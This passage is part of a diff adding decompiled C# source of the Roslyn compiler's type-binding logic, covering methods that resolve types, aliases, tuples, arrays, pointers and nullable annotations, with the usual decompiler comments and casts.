BindingDiagnosticBag diagnostics) + { + if (blockBody == null && expressionBody == null) + { + return null; + } + return new BoundNonConstructorMethodBody((SyntaxNode)(object)declaration, (blockBody == null) ? null : ((BoundBlock)BindStatement(blockBody, diagnostics)), (expressionBody == null) ? null : BindExpressionBodyAsBlock(expressionBody, (blockBody == null) ? diagnostics : BindingDiagnosticBag.Discarded)); + } + + internal PatternLookupResult PerformPatternMethodLookup(BoundExpression receiver, string methodName, SyntaxNode syntaxNode, BindingDiagnosticBag diagnostics, out MethodSymbol result) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(diagnostics); + try + { + result = null; + BoundExpression boundExpression = BindInstanceMemberAccess(syntaxNode, syntaxNode, receiver, methodName, 0, default(SeparatedSyntaxList), default(ImmutableArray), invoked: true, indexed: false, instance); + if (boundExpression.Kind != BoundKind.MethodGroup) + { + return PatternLookupResult.NotAMethod; + } + AnalyzedArguments instance2 = AnalyzedArguments.GetInstance(); + bool anyApplicableCandidates; + BoundExpression boundExpression2 = BindMethodGroupInvocation(syntaxNode, syntaxNode, methodName, (BoundMethodGroup)boundExpression, instance2, instance, null, allowUnexpandedForm: false, out anyApplicableCandidates); + instance2.Free(); + if (boundExpression2.Kind != BoundKind.Call) + { + return PatternLookupResult.NotCallable; + } + BoundCall boundCall = (BoundCall)boundExpression2; + if (boundCall.ResultKind == LookupResultKind.Empty) + { + return PatternLookupResult.NoResults; + } + ((BindingDiagnosticBag)(object)diagnostics).AddRange((BindingDiagnosticBag)(object)instance, false); + MethodSymbol method = boundCall.Method; + if (method is ErrorMethodSymbol || boundExpression2.HasAnyErrors) + { + return PatternLookupResult.ResultHasErrors; + } + result = method; + return PatternLookupResult.Success; + } + finally + { + ((BindingDiagnosticBag)(object)instance).Free(); + } + } + + internal TypeWithAnnotations BindTypeOrVarKeyword(TypeSyntax syntax, BindingDiagnosticBag diagnostics, out bool isVar) + { + NamespaceOrTypeOrAliasSymbolWithAnnotations symbol = BindTypeOrAliasOrVarKeyword(syntax, diagnostics, out isVar); + if (!isVar) + { + return UnwrapAlias(in symbol, diagnostics, (SyntaxNode)(object)syntax).TypeWithAnnotations; + } + return default(TypeWithAnnotations); + } + + private TypeWithAnnotations BindTypeOrConstraintKeyword(TypeSyntax syntax, BindingDiagnosticBag diagnostics, out ConstraintContextualKeyword keyword) + { + NamespaceOrTypeOrAliasSymbolWithAnnotations symbol = BindTypeOrAliasOrConstraintKeyword(syntax, diagnostics, out keyword); + if (keyword == ConstraintContextualKeyword.None) + { + return UnwrapAlias(in symbol, diagnostics, (SyntaxNode)(object)syntax).TypeWithAnnotations; + } + return default(TypeWithAnnotations); + } + + internal TypeWithAnnotations BindTypeOrVarKeyword(TypeSyntax syntax, BindingDiagnosticBag diagnostics, out bool isVar, out AliasSymbol alias) + { + NamespaceOrTypeOrAliasSymbolWithAnnotations symbol = BindTypeOrAliasOrVarKeyword(syntax, diagnostics, out isVar); + if (isVar) + { + alias = null; + return default(TypeWithAnnotations); + } + return UnwrapAlias(in symbol, out alias, diagnostics, (SyntaxNode)(object)syntax).TypeWithAnnotations; + } + + private NamespaceOrTypeOrAliasSymbolWithAnnotations BindTypeOrAliasOrVarKeyword(TypeSyntax syntax, BindingDiagnosticBag diagnostics, out bool isVar) + { + if (syntax.IsVar) + { + NamespaceOrTypeOrAliasSymbolWithAnnotations result = BindTypeOrAliasOrKeyword((IdentifierNameSyntax)syntax, diagnostics, out isVar); + if (isVar) + { + CheckFeatureAvailability((SyntaxNode)(object)syntax, MessageID.IDS_FeatureImplicitLocal, diagnostics); + } + return result; + } + isVar = false; + return BindTypeOrAlias(syntax, diagnostics); + } + + private NamespaceOrTypeOrAliasSymbolWithAnnotations BindTypeOrAliasOrConstraintKeyword(TypeSyntax syntax, BindingDiagnosticBag diagnostics, out ConstraintContextualKeyword keyword) + { + if (syntax.IsUnmanaged) + { + keyword = ConstraintContextualKeyword.Unmanaged; + } + else if (syntax.IsNotNull) + { + keyword = ConstraintContextualKeyword.NotNull; + } + else + { + keyword = ConstraintContextualKeyword.None; + } + if (keyword != ConstraintContextualKeyword.None) + { + IdentifierNameSyntax syntax2 = (IdentifierNameSyntax)syntax; + bool isKeyword; + NamespaceOrTypeOrAliasSymbolWithAnnotations result = BindTypeOrAliasOrKeyword(syntax2, diagnostics, out isKeyword); + if (isKeyword) + { + switch (keyword) + { + case ConstraintContextualKeyword.Unmanaged: + CheckFeatureAvailability((SyntaxNode)(object)syntax, MessageID.IDS_FeatureUnmanagedGenericTypeConstraint, diagnostics); + break; + case ConstraintContextualKeyword.NotNull: + CheckFeatureAvailability((SyntaxNode)(object)syntax2, MessageID.IDS_FeatureNotNullGenericTypeConstraint, diagnostics); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)keyword); + } + } + else + { + keyword = ConstraintContextualKeyword.None; + } + return result; + } + return BindTypeOrAlias(syntax, diagnostics); + } + + private NamespaceOrTypeOrAliasSymbolWithAnnotations BindTypeOrAliasOrKeyword(IdentifierNameSyntax syntax, BindingDiagnosticBag diagnostics, out bool isKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return BindTypeOrAliasOrKeyword(syntax.Identifier, (SyntaxNode)(object)syntax, diagnostics, out isKeyword); + } + + private NamespaceOrTypeOrAliasSymbolWithAnnotations BindTypeOrAliasOrKeyword(SyntaxToken identifier, SyntaxNode syntax, BindingDiagnosticBag diagnostics, out bool isKeyword) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_00ef: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + Symbol symbol = null; + LookupResult instance = LookupResult.GetInstance(); + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + LookupSymbolsInternal(instance, valueText, 0, null, LookupOptions.NamespacesOrTypesOnly, diagnose: false, ref useSiteInfo); + LookupResultKind kind = instance.Kind; + if (kind != LookupResultKind.Empty) + { + if (kind == LookupResultKind.Viable) + { + BindingDiagnosticBag instance2 = BindingDiagnosticBag.GetInstance(withDiagnostics: true, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + symbol = ResultSymbol(instance, valueText, 0, syntax, instance2, suppressUseSiteDiagnostics: false, out var wasError, null); + ((BindingDiagnosticBag)(object)diagnostics).AddDependencies((BindingDiagnosticBag)(object)instance2, false); + if (!wasError || !instance.IsSingleViable) + { + ((BindingDiagnosticBag)(object)diagnostics).AddRange(((BindingDiagnosticBag)instance2).DiagnosticBag); + ((BindingDiagnosticBag)(object)instance2).Free(); + if (instance.IsSingleViable) + { + if (UnwrapAlias(symbol, diagnostics, syntax) is TypeSymbol symbol2) + { + isKeyword = false; + if ((int)symbol.Kind != 0) + { + ReportDiagnosticsIfObsolete(diagnostics, symbol2, SyntaxNodeOrToken.op_Implicit(syntax), hasBaseReceiver: false); + } + } + else + { + isKeyword = true; + symbol = null; + } + } + else + { + isKeyword = false; + } + goto IL_00e8; + } + ((BindingDiagnosticBag)(object)instance2).Free(); + } + isKeyword = true; + symbol = null; + } + else + { + isKeyword = true; + symbol = null; + } + goto IL_00e8; + IL_00e8: + instance.Free(); + return NamespaceOrTypeOrAliasSymbolWithAnnotations.CreateUnannotated(AreNullableAnnotationsEnabled(identifier), symbol); + } + + internal TypeWithAnnotations BindType(ExpressionSyntax syntax, BindingDiagnosticBag diagnostics, ConsList basesBeingResolved = null, bool suppressUseSiteDiagnostics = false) + { + return UnwrapAlias(BindTypeOrAlias(syntax, diagnostics, basesBeingResolved, suppressUseSiteDiagnostics), diagnostics, (SyntaxNode)(object)syntax, basesBeingResolved).TypeWithAnnotations; + } + + internal TypeWithAnnotations BindType(ExpressionSyntax syntax, BindingDiagnosticBag diagnostics, out AliasSymbol alias, ConsList basesBeingResolved = null) + { + return UnwrapAlias(BindTypeOrAlias(syntax, diagnostics, basesBeingResolved), out alias, diagnostics, (SyntaxNode)(object)syntax, basesBeingResolved).TypeWithAnnotations; + } + + internal NamespaceOrTypeOrAliasSymbolWithAnnotations BindTypeOrAlias(ExpressionSyntax syntax, BindingDiagnosticBag diagnostics, ConsList basesBeingResolved = null, bool suppressUseSiteDiagnostics = false) + { + NamespaceOrTypeOrAliasSymbolWithAnnotations result = BindNamespaceOrTypeOrAliasSymbol(syntax, diagnostics, basesBeingResolved, basesBeingResolved != null || suppressUseSiteDiagnostics); + if (result.IsType || (result.IsAlias && UnwrapAliasNoDiagnostics(result.Symbol, basesBeingResolved) is TypeSymbol)) + { + if (result.IsType) + { + result.TypeWithAnnotations.ReportDiagnosticsIfObsolete(this, (SyntaxNode)(object)syntax, diagnostics); + } + return result; + } + CSDiagnosticInfo errorInfo = diagnostics.Add(ErrorCode.ERR_BadSKknown, ((SyntaxNode)syntax).Location, syntax, result.Symbol.GetKindText(), MessageID.IDS_SK_TYPE.Localize()); + return TypeWithAnnotations.Create(new ExtendedErrorTypeSymbol(GetContainingNamespaceOrType(result.Symbol), result.Symbol, LookupResultKind.NotATypeOrNamespace, (DiagnosticInfo)(object)errorInfo)); + } + + private NamespaceOrTypeSymbol GetContainingNamespaceOrType(Symbol symbol) + { + return symbol.ContainingNamespaceOrType() ?? Compilation.Assembly.GlobalNamespace; + } + + internal Symbol BindNamespaceAliasSymbol(IdentifierNameSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + if (node.Identifier.Kind() == SyntaxKind.GlobalKeyword) + { + return Compilation.GlobalNamespaceAlias; + } + SyntaxToken identifier = node.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + LookupResult instance = LookupResult.GetInstance(); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + LookupSymbolsWithFallback(instance, valueText, 0, ref useSiteInfo, null, LookupOptions.NamespaceAliasesOnly); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + bool wasError; + Symbol result = ResultSymbol(instance, valueText, 0, (SyntaxNode)(object)node, diagnostics, suppressUseSiteDiagnostics: false, out wasError, null, LookupOptions.NamespaceAliasesOnly); + instance.Free(); + return result; + } + + internal NamespaceOrTypeOrAliasSymbolWithAnnotations BindNamespaceOrTypeSymbol(ExpressionSyntax syntax, BindingDiagnosticBag diagnostics, ConsList basesBeingResolved = null) + { + return BindNamespaceOrTypeSymbol(syntax, diagnostics, basesBeingResolved, basesBeingResolved != null); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + internal NamespaceOrTypeOrAliasSymbolWithAnnotations BindNamespaceOrTypeSymbol(ExpressionSyntax syntax, BindingDiagnosticBag diagnostics, ConsList basesBeingResolved, bool suppressUseSiteDiagnostics) + { + return UnwrapAlias(BindNamespaceOrTypeOrAliasSymbol(syntax, diagnostics, basesBeingResolved, suppressUseSiteDiagnostics), diagnostics, (SyntaxNode)(object)syntax, basesBeingResolved); + } + + internal unsafe NamespaceOrTypeOrAliasSymbolWithAnnotations BindNamespaceOrTypeOrAliasSymbol(ExpressionSyntax syntax, BindingDiagnosticBag diagnostics, ConsList basesBeingResolved, bool suppressUseSiteDiagnostics) + { + //IL_02cb: Unknown result type (might be due to invalid IL or missing references) + //IL_02d0: Unknown result type (might be due to invalid IL or missing references) + //IL_01c8: Unknown result type (might be due to invalid IL or missing references) + //IL_01e0: Unknown result type (might be due to invalid IL or missing references) + //IL_01e5: Unknown result type (might be due to invalid IL or missing references) + //IL_01e8: Unknown result type (might be due to invalid IL or missing references) + //IL_01ed: Unknown result type (might be due to invalid IL or missing references) + //IL_0206: Unknown result type (might be due to invalid IL or missing references) + //IL_020b: Unknown result type (might be due to invalid IL or missing references) + //IL_0214: Unknown result type (might be due to invalid IL or missing references) + //IL_0357: Unknown result type (might be due to invalid IL or missing references) + //IL_035c: Unknown result type (might be due to invalid IL or missing references) + //IL_0285: Unknown result type (might be due to invalid IL or missing references) + switch (syntax.Kind()) + { + case SyntaxKind.NullableType: + return bindNullable(); + case SyntaxKind.PredefinedType: + return bindPredefined(); + case SyntaxKind.IdentifierName: + return BindNonGenericSimpleNamespaceOrTypeOrAliasSymbol((IdentifierNameSyntax)syntax, diagnostics, basesBeingResolved, suppressUseSiteDiagnostics, null); + case SyntaxKind.GenericName: + return BindGenericSimpleNamespaceOrTypeOrAliasSymbol((GenericNameSyntax)syntax, diagnostics, basesBeingResolved, null); + case SyntaxKind.AliasQualifiedName: + return bindAlias(); + case SyntaxKind.QualifiedName: + { + QualifiedNameSyntax qualifiedNameSyntax = (QualifiedNameSyntax)syntax; + return BindQualifiedName(qualifiedNameSyntax.Left, qualifiedNameSyntax.Right, diagnostics, basesBeingResolved, suppressUseSiteDiagnostics); + } + case SyntaxKind.SimpleMemberAccessExpression: + { + MemberAccessExpressionSyntax memberAccessExpressionSyntax = (MemberAccessExpressionSyntax)syntax; + return BindQualifiedName(memberAccessExpressionSyntax.Expression, memberAccessExpressionSyntax.Name, diagnostics, basesBeingResolved, suppressUseSiteDiagnostics); + } + case SyntaxKind.ArrayType: + return BindArrayType((ArrayTypeSyntax)syntax, diagnostics, permitDimensions: false, basesBeingResolved, disallowRestrictedTypes: true); + case SyntaxKind.PointerType: + return bindPointer(); + case SyntaxKind.FunctionPointerType: + { + FunctionPointerTypeSyntax functionPointerTypeSyntax = (FunctionPointerTypeSyntax)syntax; + MessageID.IDS_FeatureFunctionPointers.CheckFeatureAvailability(diagnostics, functionPointerTypeSyntax.DelegateKeyword); + CSDiagnosticInfo unsafeDiagnosticInfo = GetUnsafeDiagnosticInfo(null); + if (unsafeDiagnosticInfo != null) + { + SyntaxToken delegateKeyword = functionPointerTypeSyntax.DelegateKeyword; + SyntaxToken asteriskToken = functionPointerTypeSyntax.AsteriskToken; + BindingDiagnosticBag bindingDiagnosticBag = diagnostics; + SyntaxTree syntaxTree = ((SyntaxToken)(ref delegateKeyword)).SyntaxTree; + int spanStart = ((SyntaxToken)(ref delegateKeyword)).SpanStart; + TextSpan span = ((SyntaxToken)(ref asteriskToken)).Span; + bindingDiagnosticBag.Add((DiagnosticInfo?)(object)unsafeDiagnosticInfo, Location.Create(syntaxTree, TextSpan.FromBounds(spanStart, ((TextSpan)(ref span)).End))); + } + return TypeWithAnnotations.Create(FunctionPointerTypeSymbol.CreateFromSource(functionPointerTypeSyntax, this, diagnostics, basesBeingResolved, suppressUseSiteDiagnostics)); + } + case SyntaxKind.OmittedTypeArgument: + return BindTypeArgument((TypeSyntax)syntax, diagnostics, basesBeingResolved); + case SyntaxKind.TupleType: + { + TupleTypeSyntax tupleTypeSyntax = (TupleTypeSyntax)syntax; + return TypeWithAnnotations.Create(AreNullableAnnotationsEnabled(tupleTypeSyntax.CloseParenToken), BindTupleType(tupleTypeSyntax, diagnostics, basesBeingResolved)); + } + case SyntaxKind.RefType: + { + RefTypeSyntax refTypeSyntax = (RefTypeSyntax)syntax; + if (!((SyntaxNode)syntax).HasErrors) + { + SyntaxToken refKeyword = refTypeSyntax.RefKeyword; + if (refTypeSyntax.Parent is UsingDirectiveSyntax) + { + diagnostics.Add(ErrorCode.ERR_BadRefInUsingAlias, ((SyntaxToken)(ref refKeyword)).GetLocation()); + } + else + { + diagnostics.Add(ErrorCode.ERR_UnexpectedToken, ((SyntaxToken)(ref refKeyword)).GetLocation(), ((object)(*(SyntaxToken*)(&refKeyword))/*cast due to constrained. prefix*/).ToString()); + } + } + return BindNamespaceOrTypeOrAliasSymbol(refTypeSyntax.Type, diagnostics, basesBeingResolved, suppressUseSiteDiagnostics); + } + case SyntaxKind.ScopedType: + { + ScopedTypeSyntax scopedTypeSyntax = (ScopedTypeSyntax)syntax; + SyntaxToken scopedKeyword = scopedTypeSyntax.ScopedKeyword; + if (!((SyntaxNode)syntax).HasErrors) + { + diagnostics.Add(ErrorCode.ERR_UnexpectedToken, ((SyntaxToken)(ref scopedKeyword)).GetLocation(), ((object)(*(SyntaxToken*)(&scopedKeyword))/*cast due to constrained. prefix*/).ToString()); + } + return BindNamespaceOrTypeOrAliasSymbol(scopedTypeSyntax.Type, diagnostics, basesBeingResolved, suppressUseSiteDiagnostics); + } + default: + return createErrorType(); + } + NamespaceOrTypeOrAliasSymbolWithAnnotations bindAlias() + { + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Invalid comparison between Unknown and I4 + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + AliasQualifiedNameSyntax aliasQualifiedNameSyntax = (AliasQualifiedNameSyntax)syntax; + MessageID.IDS_FeatureGlobalNamespace.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)aliasQualifiedNameSyntax.Alias); + Symbol symbol = BindNamespaceAliasSymbol(aliasQualifiedNameSyntax.Alias, diagnostics); + NamespaceOrTypeSymbol namespaceOrTypeSymbol = ((symbol is AliasSymbol aliasSymbol) ? aliasSymbol.Target : ((NamespaceOrTypeSymbol)symbol)); + if ((int)namespaceOrTypeSymbol.Kind == 11) + { + BindingDiagnosticBag bindingDiagnosticBag2 = diagnostics; + Location location = ((SyntaxNode)aliasQualifiedNameSyntax.Alias).Location; + object[] array = new object[1]; + SyntaxToken identifier = aliasQualifiedNameSyntax.Alias.Identifier; + array[0] = ((SyntaxToken)(ref identifier)).Text; + return TypeWithAnnotations.Create(new ExtendedErrorTypeSymbol(namespaceOrTypeSymbol, LookupResultKind.NotATypeOrNamespace, (DiagnosticInfo)(object)bindingDiagnosticBag2.Add(ErrorCode.ERR_ColColWithTypeAlias, location, array))); + } + return BindSimpleNamespaceOrTypeOrAliasSymbol(aliasQualifiedNameSyntax.Name, diagnostics, basesBeingResolved, suppressUseSiteDiagnostics, namespaceOrTypeSymbol); + } + NamespaceOrTypeOrAliasSymbolWithAnnotations bindNullable() + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + NullableTypeSyntax nullableTypeSyntax = (NullableTypeSyntax)syntax; + MessageID.IDS_FeatureNullable.CheckFeatureAvailability(diagnostics, nullableTypeSyntax.QuestionToken); + TypeSyntax elementType = nullableTypeSyntax.ElementType; + TypeWithAnnotations typeArgument = BindType(elementType, diagnostics, basesBeingResolved); + TypeWithAnnotations type = typeArgument.SetIsAnnotated(Compilation); + reportNullableReferenceTypesIfNeeded(nullableTypeSyntax.QuestionToken, typeArgument); + if (!ShouldCheckConstraints) + { + diagnostics.Add((DiagnosticInfo?)(object)new LazyUseSiteDiagnosticsInfoForNullableType(Compilation.LanguageVersion, type), syntax.GetLocation()); + } + else if (type.IsNullableType()) + { + ReportUseSite(type.Type.OriginalDefinition, diagnostics, (SyntaxNode)(object)syntax); + ((NamedTypeSymbol)type.Type).CheckConstraints(new ConstraintsHelper.CheckConstraintsArgs(location: ((SyntaxNode)syntax).Location, currentCompilation: Compilation, conversions: Conversions, includeNullability: true, diagnostics: diagnostics)); + } + else + { + CSDiagnosticInfo nullableUnconstrainedTypeParameterDiagnosticIfNecessary = GetNullableUnconstrainedTypeParameterDiagnosticIfNecessary(Compilation.LanguageVersion, in type); + if (nullableUnconstrainedTypeParameterDiagnosticIfNecessary != null) + { + diagnostics.Add((DiagnosticInfo?)(object)nullableUnconstrainedTypeParameterDiagnosticIfNecessary, ((SyntaxNode)syntax).Location); + } + } + return type; + } + NamespaceOrTypeOrAliasSymbolWithAnnotations bindPointer() + { + PointerTypeSyntax pointerTypeSyntax = (PointerTypeSyntax)syntax; + TypeWithAnnotations pointedAtType = BindType(pointerTypeSyntax.ElementType, diagnostics, basesBeingResolved); + ReportUnsafeIfNotAllowed((SyntaxNode)(object)pointerTypeSyntax, diagnostics); + if (!Flags.HasFlag(BinderFlags.SuppressConstraintChecks)) + { + CheckManagedAddr(Compilation, pointedAtType.Type, ((SyntaxNode)pointerTypeSyntax).Location, diagnostics); + } + return TypeWithAnnotations.Create(new PointerTypeSymbol(pointedAtType)); + } + NamespaceOrTypeOrAliasSymbolWithAnnotations bindPredefined() + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + PredefinedTypeSyntax predefinedTypeSyntax = (PredefinedTypeSyntax)syntax; + NamedTypeSymbol typeSymbol = BindPredefinedTypeSymbol(predefinedTypeSyntax, diagnostics); + return TypeWithAnnotations.Create(AreNullableAnnotationsEnabled(predefinedTypeSyntax.Keyword), typeSymbol); + } + NamespaceOrTypeOrAliasSymbolWithAnnotations createErrorType() + { + diagnostics.Add(ErrorCode.ERR_TypeExpected, syntax.GetLocation()); + return TypeWithAnnotations.Create(CreateErrorType()); + } + void reportNullableReferenceTypesIfNeeded(SyntaxToken questionToken, TypeWithAnnotations typeArgument = default(TypeWithAnnotations)) + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + DiagnosticBag diagnosticBag = ((BindingDiagnosticBag)diagnostics).DiagnosticBag; + if (diagnosticBag != null) + { + if (typeArgument.HasType && !ShouldCheckConstraints) + { + LazyMissingNonNullTypesContextDiagnosticInfo.AddAll(this, questionToken, typeArgument, diagnosticBag); + } + else if (LazyMissingNonNullTypesContextDiagnosticInfo.IsNullableReference(typeArgument.Type)) + { + LazyMissingNonNullTypesContextDiagnosticInfo.AddAll(this, questionToken, null, diagnosticBag); + } + } + } + } + + internal static CSDiagnosticInfo? GetNullableUnconstrainedTypeParameterDiagnosticIfNecessary(LanguageVersion languageVersion, in TypeWithAnnotations type) + { + if (type.Type.IsTypeParameterDisallowingAnnotationInCSharp8()) + { + LanguageVersion languageVersion2 = MessageID.IDS_FeatureDefaultTypeParameterConstraint.RequiredVersion(); + if (languageVersion2 > languageVersion) + { + return new CSDiagnosticInfo(ErrorCode.ERR_NullableUnconstrainedTypeParameter, new CSharpRequiredLanguageVersion(languageVersion2)); + } + } + return null; + } + + private TypeWithAnnotations BindArrayType(ArrayTypeSyntax node, BindingDiagnosticBag diagnostics, bool permitDimensions, ConsList basesBeingResolved, bool disallowRestrictedTypes) + { + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00af: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + //IL_00fd: Unknown result type (might be due to invalid IL or missing references) + TypeWithAnnotations typeWithAnnotations = BindType(node.ElementType, diagnostics, basesBeingResolved); + if (typeWithAnnotations.IsStatic) + { + Error(diagnostics, ErrorCode.ERR_ArrayOfStaticClass, (CSharpSyntaxNode)node.ElementType, new object[1] { typeWithAnnotations.Type }); + } + if (disallowRestrictedTypes) + { + if (ShouldCheckConstraints) + { + if (typeWithAnnotations.IsRestrictedType()) + { + Error(diagnostics, ErrorCode.ERR_ArrayElementCantBeRefAny, (CSharpSyntaxNode)node.ElementType, new object[1] { typeWithAnnotations.Type }); + } + } + else + { + diagnostics.Add((DiagnosticInfo?)(object)new LazyArrayElementCantBeRefAnyDiagnosticInfo(typeWithAnnotations), node.ElementType.GetLocation()); + } + } + for (int num = node.RankSpecifiers.Count - 1; num >= 0; num--) + { + ArrayRankSpecifierSyntax arrayRankSpecifierSyntax = node.RankSpecifiers[num]; + SeparatedSyntaxList sizes = arrayRankSpecifierSyntax.Sizes; + if (!permitDimensions && sizes.Count != 0 && sizes[0].Kind() != SyntaxKind.OmittedArraySizeExpression) + { + Error(diagnostics, ErrorCode.ERR_ArraySizeInDeclaration, (CSharpSyntaxNode)arrayRankSpecifierSyntax); + } + ArrayTypeSymbol typeSymbol = ArrayTypeSymbol.CreateCSharpArray(Compilation.Assembly, typeWithAnnotations, arrayRankSpecifierSyntax.Rank); + typeWithAnnotations = TypeWithAnnotations.Create(AreNullableAnnotationsEnabled(arrayRankSpecifierSyntax.CloseBracketToken), typeSymbol); + } + return typeWithAnnotations; + } + + private TypeSymbol BindTupleType(TupleTypeSyntax syntax, BindingDiagnosticBag diagnostics, ConsList basesBeingResolved) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + MessageID.IDS_FeatureTuples.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)syntax); + int count = syntax.Elements.Count; + ArrayBuilder instance = ArrayBuilder.GetInstance(count); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(count); + ArrayBuilder elementNames = null; + PooledHashSet instance3 = PooledHashSet.GetInstance(); + bool flag = false; + for (int i = 0; i < count; i++) + { + TupleElementSyntax tupleElementSyntax = syntax.Elements[i]; + TypeWithAnnotations typeWithAnnotations = BindType(tupleElementSyntax.Type, diagnostics, basesBeingResolved); + instance.Add(typeWithAnnotations); + string name = null; + SyntaxToken identifier = tupleElementSyntax.Identifier; + if (identifier.Kind() == SyntaxKind.IdentifierToken) + { + name = ((SyntaxToken)(ref identifier)).ValueText; + flag = true; + CheckTupleMemberName(name, i, SyntaxNodeOrToken.op_Implicit(identifier), diagnostics, instance3); + instance2.Add(((SyntaxToken)(ref identifier)).GetLocation()); + } + else + { + instance2.Add(((SyntaxNode)tupleElementSyntax).Location); + } + CollectTupleFieldMemberName(name, i, count, ref elementNames); + } + instance3.Free(); + if (flag) + { + ReportMissingTupleElementNamesAttributesIfNeeded(Compilation, syntax.GetLocation(), diagnostics); + } + ImmutableArray elementTypesWithAnnotations = instance.ToImmutableAndFree(); + ImmutableArray elementLocations = instance2.ToImmutableAndFree(); + if (elementTypesWithAnnotations.Length < 2) + { + throw ExceptionUtilities.UnexpectedValue((object)elementTypesWithAnnotations.Length); + } + bool flag2 = Compilation.IsFeatureEnabled(MessageID.IDS_FeatureNullableReferenceTypes); + return NamedTypeSymbol.CreateTuple(((SyntaxNode)syntax).Location, elementTypesWithAnnotations, elementLocations, elementNames?.ToImmutableAndFree() ?? default(ImmutableArray), Compilation, ShouldCheckConstraints, ShouldCheckConstraints && flag2, default(ImmutableArray), syntax, diagnostics); + } + + internal static void ReportMissingTupleElementNamesAttributesIfNeeded(CSharpCompilation compilation, Location location, BindingDiagnosticBag diagnostics) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(diagnostics); + if (!compilation.HasTupleNamesAttributes(instance, location)) + { + object[] array = new object[1]; + AttributeDescription tupleElementNamesAttribute = AttributeDescription.TupleElementNamesAttribute; + array[0] = ((AttributeDescription)(ref tupleElementNamesAttribute)).FullName; + CSDiagnosticInfo info = new CSDiagnosticInfo(ErrorCode.ERR_TupleElementNamesAttributeMissing, array); + Error(diagnostics, (DiagnosticInfo)(object)info, location); + } + else + { + ((BindingDiagnosticBag)(object)diagnostics).AddRange((BindingDiagnosticBag)(object)instance, false); + } + ((BindingDiagnosticBag)(object)instance).Free(); + } + + private static void CollectTupleFieldMemberName(string name, int elementIndex, int tupleSize, ref ArrayBuilder elementNames) + { + if (elementNames != null) + { + elementNames.Add(name); + } + else if (name != null) + { + elementNames = ArrayBuilder.GetInstance(tupleSize); + for (int i = 0; i < elementIndex; i++) + { + elementNames.Add((string)null); + } + elementNames.Add(name); + } + } + + private static bool CheckTupleMemberName(string name, int index, SyntaxNodeOrToken syntax, BindingDiagnosticBag diagnostics, PooledHashSet uniqueFieldNames) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + int num = NamedTypeSymbol.IsTupleElementNameReserved(name); + if (num == 0) + { + Error(diagnostics, ErrorCode.ERR_TupleReservedElementNameAnyPosition, syntax, name); + return false; + } + if (num > 0 && num != index + 1) + { + Error(diagnostics, ErrorCode.ERR_TupleReservedElementName, syntax, name, num); + return false; + } + if (!((HashSet)(object)uniqueFieldNames).Add(name)) + { + Error(diagnostics, ErrorCode.ERR_TupleDuplicateElementName, syntax); + return false; + } + return true; + } + + private NamedTypeSymbol BindPredefinedTypeSymbol(PredefinedTypeSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return GetSpecialType(node.Keyword.Kind().GetSpecialType(), diagnostics, (SyntaxNode)(object)node); + } + + private NamespaceOrTypeOrAliasSymbolWithAnnotations BindSimpleNamespaceOrTypeOrAliasSymbol(SimpleNameSyntax syntax, BindingDiagnosticBag diagnostics, ConsList basesBeingResolved, bool suppressUseSiteDiagnostics, NamespaceOrTypeSymbol qualifierOpt = null) + { + return syntax.Kind() switch + { + SyntaxKind.IdentifierName => 